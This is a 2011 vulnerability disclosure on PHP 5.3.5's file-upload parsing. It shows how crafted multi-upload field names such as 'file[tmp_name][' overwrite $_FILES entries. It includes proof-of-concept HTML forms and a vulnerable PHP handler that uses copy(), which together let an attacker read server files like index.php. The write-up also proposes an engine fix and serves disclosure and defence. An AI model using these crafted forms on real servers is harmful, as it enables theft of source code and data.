Overriding $_FILES array during uploading multiple files in php. (Tested on php version 5.3.5)

Adam Iwaniuk

March 3, 2011

In php when we upload files using html form like this:

```
<form action="upload/index.php" method="POST" enctype="multipart/form-data" >
<input type="Hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="file" name="file">
<input type="submit"  value="submit">
</form>
```

$_FILES array looks like this:

```
array(1) {
  ["file"]=>
  array(5) {
    ["name"]=>
    string(3) "file.txt"
    ["type"]=>
    string(24) "text/plain"
    ["tmp_name"]=>
    string(24) "C:\xampp\tmp\php515B.tmp"
    ["error"]=>
    int(0)
    ["size"]=>
    int(1)
  }
}
```

using multi upload (name of file varible is array):

```
<form action="upload/index.php" method="POST" enctype="multipart/form-data" >
<input type="Hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="file" name="file[]">
<input type="file" name="file[]">
<input type="submit"  value="submit">
</form>
```

array $_FILES looks now like this:

```
array(1) {
  ["file"]=>
  array(5) {
    ["name"]=>
    array(2) {
      [0]=>
      string(8) "file.txt"
      [1]=>
      string(9) "file2.txt"
    }
    ["type"]=>
    array(2) {
      [0]=>
      string(10) "text/plain"
      [1]=>
      string(10) "text/plain"
    }
    ["tmp_name"]=>
    array(2) {
      [0]=>
      string(24) "C:\xampp\tmp\php517E.tmp"
      [1]=>
      string(24) "C:\xampp\tmp\php517F.tmp"
    }
    ["error"]=>
    array(2) {
      [0]=>
      int(0)
      [1]=>
      int(0)
    }
    ["size"]=>
    array(2) {
      [0]=>
      int(1)
      [1]=>
      int(4)
    }
  }
}
```

so php script for multi-uploading should be like this:

```
<?php
foreach ($_FILES["file"]["tmp_name"] as $key => $name) {
if ($_FILES["file"]["size"][$key]>0 && $_FILES["file"]["size"][$key]<1024)
move_uploaded_file($_FILES["file"]["tmp_name"][$key],''.rand().'.txt');
}
?>
```

But when we connect this two types of upload we can cheat some information in this array.

```
php-5.3.5\main\rfc1867.c:

is_arr_upload = (start_arr = strchr(param,'[')) && (param[strlen(param)-1] == ']');

if (is_arr_upload) {
array_len = strlen(start_arr);
if (array_index) {
efree(array_index);
}
array_index = estrndup(start_arr + 1, array_len - 2);
}

(...)

abuf = estrndup(param, strlen(param)-array_len);
```

So when the name of varible ends with [.] is_arr_upload is set and array_index is everything between first [and last] and abuf is everything before [
and all fileds in array $_FILES are set like this:

```
if (is_arr_upload) {
snprintf(lbuf, llen, "%s[type][%s]", abuf, array_index);
} else {
snprintf(lbuf, llen, "%s[type]", param);
}
register_http_post_files_variable(lbuf, cd, http_post_files, 0 TSRMLS_CC);
```

So when we have this form:

```
<form action="upload/index.php" method="POST" enctype="multipart/form-data" >
<input type="Hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="file" name="file[[size]">
<input type="file" name="file[size][">
<input type="submit"  value="submit">
</form>

array(1) {
  ["file"]=>
  array(5) {
    ["name"]=>
    array(1) {
      ["[size"]=>
      string(8) "file.txt"
    }
    ["type"]=>
    array(1) {
      ["[size"]=>
      string(10) "text/plain"
    }
    ["tmp_name"]=>
    array(1) {
```

```
      ["[size]"]=>
      string(24) "C:\xampp\tmp\php51F3.tmp"
    }
    ["error"]=>
    array(1) {
      ["[size]"]=>
      int(0)
    }
    ["size"]=>
    array(5) {
      ["[size]"]=>
      int(4)
      ["[name]"]=>
      string(9) "file2.txt"
      ["[type]"]=>
      string(10) "text/plain"
      ["[tmp_name]"]=>
      string(24) "C:\xampp\tmp\php51F4.tmp"
      ["[error]"]=>
      int(0)
    }
  }
}
```

This is because file[[size] is used as multi upload but, file[size][is used as normal. So we overwrited the size of file.txt with the size of file2.txt! When someone is not using move_upload_files or is_uploaded_file it is possible to steal files from server

```
<?php
foreach ($_FILES["file"]["tmp_name"] as $key => $name) {
if ($_FILES["file"]["size"][$key]>0 && $_FILES["file"]["size"][$key]<1024)
copy($_FILES["file"]["tmp_name"][$key],''.rand().'.txt');
}
```

and form like this:

```
<form action="upload/index.php" method="POST" enctype="multipart/form-data" >
<input type="Hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="file" name="file[tmp_name][">
<input type="file" name="file[size][">
<input type="file" name="file[name][">
<input type="submit"  value="submit">
</form>
```

will provide array like this:

```
array(1) {
  ["file"]=>
  array(3) {
    ["tmp_name"]=>
    array(5) {
```

```
      ["[name"]=>
      string(9) "index.php"
      ["[type"]=>
      string(24) "application/octet-stream"
      ["[tmp_name"]=>
      string(24) "C:\xampp\tmp\php5218.tmp"
      ["[error"]=>
      int(0)
      ["[size"]=>
      int(3)
    }
    ["size"]=>
    array(5) {
      ["[name"]=>
      string(3) "123"
      ["[type"]=>
      string(24) "application/octet-stream"
      ["[tmp_name"]=>
      string(24) "C:\xampp\tmp\php5219.tmp"
      ["[error"]=>
      int(0)
      ["[size"]=>
      int(1)
    }
    ["name"]=>
    array(5) {
      ["[name"]=>
      string(8) "file.txt"
      ["[type"]=>
      string(10) "text/plain"
      ["[tmp_name"]=>
      string(24) "C:\xampp\tmp\php521A.tmp"
      ["[error"]=>
      int(0)
      ["[size"]=>
      int(1)
    }
  }
}
```

Lets look at first file:

```
$_FILES['name']['[name']='file.txt';
$_FILES['size']['[name']=123;
$_FILES['tmp_name']['[name']='index.php';
```

So we can steal source code of index.php! This is simple method to fix it: php engine should skip upload file when 'name' ends with [or '[xxx'